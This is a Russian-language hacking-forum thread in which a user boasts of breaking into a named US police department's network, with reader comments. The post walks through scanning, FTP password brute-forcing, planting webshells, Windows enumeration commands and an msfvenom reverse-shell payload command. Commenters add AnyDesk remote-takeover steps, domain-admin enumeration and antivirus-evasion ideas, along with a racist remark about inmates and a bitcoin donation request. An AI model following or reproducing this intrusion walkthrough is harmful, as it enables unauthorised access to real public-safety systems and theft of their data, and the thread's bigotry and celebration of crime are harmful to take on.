• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Как я ломал копов в USA или почему они все ACAB ?

Отслеживать
netcat

netcat

(L3) cache
Забанен
Регистрация
26.07.2019
Сообщения
158
Реакции
448
Пожалуйста, обратите внимание, что пользователь заблокирован
Приветствую тебе снова, мой дорогой читатель. В этой части я хочу рассказать тебе историю которая была проделана за один присест и затяг сигаретки.
Так как прошлый раз я не смог попасть в топ-5 по конкурсу статей, выражаю надежду что именно ты отдаешь свой голос за меня :)
Как ты заметил недавно открылся новый конкурс статей и я долго думал о какой теме написать, пару дней ломал голову и сегодня решил всё таки изучить правда ли всё так плохо в плане ИБ в USA а именно в критических узлах..

Сегодня мы будет говорить о том как можно получить доступ к серверам и к локальной сетке целого ментовского департамента, лично мне было интересно изучать и потратить день на конечный результат и получить свою дозу андреналина и эндорфина :)
Сразу отступаясь от начала хочу сказать одно. Не были зашифрованы или как то атакованы другие узлы сети копов :)


Цель для статьи в голову пришла совершенно случайно, осталась открыта вкладка об атаках рансомварях и точечных атак на гос сектор США, когда лочили целые города и валили все службы в каменный век.


так сказать по мотивам GTA Vice City, когда залетаешь в департамент к копам...
1577656203188.png




I. Первая затяжка & дабл клик по "GTA Vice City.exe" и погружаемся в мир детства

Всё чаще и чаще начали доноситься новости о целевых атаках на корп сетки а именно в госе. Очень было интересно и перечитано много новостей но никакой технической информации так и не нашлось. В глубине души был рад за парней с СНГ за доблестную работу :D

Например пару новостей о громких целевых атаках на корп сетки в USA:
PS : не открывайте урлы в статьях если вы не имеете безопасное подключение

1. In the last 10 months, 140 local governments, police stations and hospitals have been held hostage by ransomware attacks
2. Ransomware cripples US emergency services, local governments
3. Georgia police hit with ransomware infection





II. Вторая затяжка & Томми начал свою миссию : nuttertools, leavemealone, aspirine

Последние волосы с головы были сорваны, самовар заварен, пепельница помыта, носок натянут и началась работа по сбору информации:
1. информации о департаментах полиций во всех штатах;
2. был натравлен masscan на интересные подсети;
3. была выгружена вся возможная информация с боевого товарища Shodan ^ Fofa ^ Censys
4. были проенумерованы все возможные домены : sublist3r в помощь + словари для брута под доменов
5. были пробручены пассы сервисов на великий Rockyou.txt


К вечеру мой cherrytree был полон информации для анализа и дальнейшего мозгового штурма. Кто не знает что такое CherryTree - это приложение предназначенное для записи коротких заметок и мыслей.




III. Третья затяжка & Томми ловит 3 звезды : копы преследуют нас

Скажу сразу, не стал до конца изучать и копать весь материал... Потому что на момент брута FTP сервиса на нужных IP, был получен ACCESS GRANTED на несколько штук. В основном старые файлы и дистрибутивы ПО 200x годов.
Но один из них нас и порадовал.

Были проверены права на запись и чтение, о Боги права на запись были, наш CherryTree тихо шепчет нам о том что на данном IP по ssl имеется веб морда..


FTP listing файлов и папок. дата изменения
1577657568826.png



Незамедлительно был залит WebShell, но он не сработал отдав ошибку Application Error.. была стянута пачка шеллов и один из них всё таки работал стабильно.

1577657668891.png



1577657799103.png




WHOAMI ? nt authority\network service

1577657843948.png


Локальный адаптер сетки..
1577657890471.png



Проверяем в домене ли сервак? wmic computersystem get domain

1577658024852.png



Посмотрим учетные записи ? net users


1577658089203.png



msfvenom наш товарищ, твой выход! генерим простой .exe и забираем сессию, так как мы не преследуем цели коммерческого обогащения а лишь интереса ради делаем все агрессивно!!!

msfvenom -p windows/meterpreter/reverse_tcp LHOST=ИП LPORT=порт -f exe > meterpreter.exe

кладем файлик в C:\temp\

1577658487496.png



ловим долгожданную сессию meterpreter и изучаем хост. Например ?

1577658804887.png





IV. Четвертая затяжка & Томми ловит 6 звезд : копы на танках...


по гуляем по папкам и файлам. Но креды, ФИО и другие данные не будут показываться в целях безопасности 5-й точки.

1577658883267.png


1577659199035.png



1577659346723.png




1577659448447.png





THE END ?

Хочу передать привет родным и близким а так же Malverne Police Department



1577659539942.png
 

Вложения

  • 1577659539140.png
    1577659539140.png
    1.5 МБ · Просмотры: 196
Последнее редактирование:
Пожалуйста, обратите внимание, что пользователь заблокирован
Моя мысль? Всё можно найти и поломать...
Главное терпение и немного удачи в нужное время.

Не стал дальше пробивать машины в локалке
Не стал повышаться в правах до админа или системы
Не стал захватывать АД..

Хотя всё это смог бы сделать, остановило лишь одно. я сделал то чего хотел изначально )

Если есть желание поддержать то btc donate : 1M3pxdWZnei2QRGishZvp3DoCRm3d9mR5M
 
Последнее редактирование:
Пожалуйста, обратите внимание, что пользователь заблокирован
Интересно как ты через шодан/кенсис определял является ли хост ментовским?
черритри - одобряю )
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Cthulhu сказал(а):
Интересно как ты через шодан/кенсис определял является ли хост ментовским?
черритри - одобряю )

Дергал по ASN и ISP ;) в момент enumeration много подсеток было изучено, примерно какие крепились за кем и тд.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
подробнее на эту тему можно? давно задумывался над составлением и структурированием подобного рода данных
netcat сказал(а):
Дергал по ASN и ISP ;) в момент enumeration много подсеток было изучено, примерно какие крепились за кем и тд.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Cthulhu сказал(а):
подробнее на эту тему можно? давно задумывался над составлением и структурированием подобного рода данных
чуть позже сделаю маленький FAQ и раскидаю по сбору нужной инфы.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
integra сказал(а):
лучший! только не Fofa, а Foca походу
копов вообще весело рутать, особенно когда доходишь до камер и смотришь за ними как хомячками. Ещё и на нигеров в камерах поглядываешь, им вообще весело, была бы возможность камеры открыть им - вот это хардкор был бы, игра престолов сосала бы с их боевками
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Пожалуйста, обратите внимание, что пользователь заблокирован
тема сисек не раскрыта (c)
пол беды залезть в сетку, а дальше начинается самое увлекательное (борьба с EDR/IPS/IDS и прочими интересными приблудами)
 
Пожалуйста, обратите внимание, что пользователь заблокирован
sraka_bro сказал(а):
тема сисек не раскрыта (c)
пол беды залезть в сетку, а дальше начинается самое увлекательное (борьба с EDR/IPS/IDS и прочими интересными приблудами)

Все верно ) так как лично не преследую корыстные мысли,а только морально надругался над ними, не стал пробивать тачки и пытаться обходить и заворачивать трафф =)

об этом чуть позже )))
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Дело не в корысти, дело в том как захватить ДА или ЕА во всех трастах и не спалиться.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
sraka_bro сказал(а):
Дело не в корысти, дело в том как захватить ДА или ЕА во всех трастах и не спалиться.

там были интересные моменты как большое обилие кредов и конфигов. скажу коротко но на нужные места они подходили :)


PS: не относится к этой теме
Например, если отключен RDP и нужно взять визуальный контроль и на борту имеется софт по типа AnyDesk можно сделать себе приятное :

1. Забираем ID для коннекта anydesk --get-id
2. Ставим свой пасс echo пароль | AnyDesk.exe --set-password
3. делаем коннект Id & pass
 
Пожалуйста, обратите внимание, что пользователь заблокирован
RedBear сказал(а):
Напоминает рассказ Кафки "Замок".
Где главный герой до замка так и не добрался.
почему не добрался :) кое какие моменты не стал расписывать =) сами прекрасное знаете, тут всякие ресерчеры сидят :D
 
Пожалуйста, обратите внимание, что пользователь заблокирован
RedBear сказал(а):
Напоминает рассказ Кафки "Замок".
Где главный герой до замка так и не добрался.
жду рассказ кробы как он фбр ссанными тряпками бил, после блокбастера про навельного и д8800 будет хитом
 
netcat сказал(а):
кое какие моменты не стал расписывать =) сами прекрасное знаете, тут всякие ресерчеры сидят :D
Удобно, че. И на 5к претендовать, и мякотку не раскрыть )
 
Спасибо, для меня кaк новичка пoлезная стaтья. Еще бы знaть какие шeллы юзaть и скачать под разную винду.(под win 7, 8, 10.) И кстати, если бы стоял антивирь, он бы удалил же exe метерапретера в папке temp и сессия не состоялась. Наверное существеют какие-то обходные пути? К примеру, через wmic скaчaть и запустить криптованый повeршeлл скрипт и также запустить как tcp cliеnt, чтобы проактивка .еxе не блочила.
П.С Я обычно такую команду юзаю на дедиках чтобы доменые учетки палить. "wmic group where name="Domain Admins" get name,domain", а предварительно локальных вот так "wmic path win32_groupuser where (groupcomponent="win32_group.name=\"administrators\",domain=\"%ComputerName%\"").
В общем, спасибо, интересно было. :)
 
BaPaTok сказал(а):
К примеру, через wmic скaчaть и запустить криптованый повeршeлл скрипт и также запустить как tcp cliеnt, чтобы проактивка .еxе не блочила.
В правильном направлении мыслишь. PowerShell на данный момент это топ 1 решение по обходу ав. Инфа не с потолка. Я лично реверсил устройство amsi и как powershell взаимодействует с ним, при интерпретации скрипта (исходники powershell). Возможно почистить рантайм малвари на пш в 0. То, что некоторые (нативщики), считают невозможным или достижимым только с помощью кернел фич.
 
admin


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх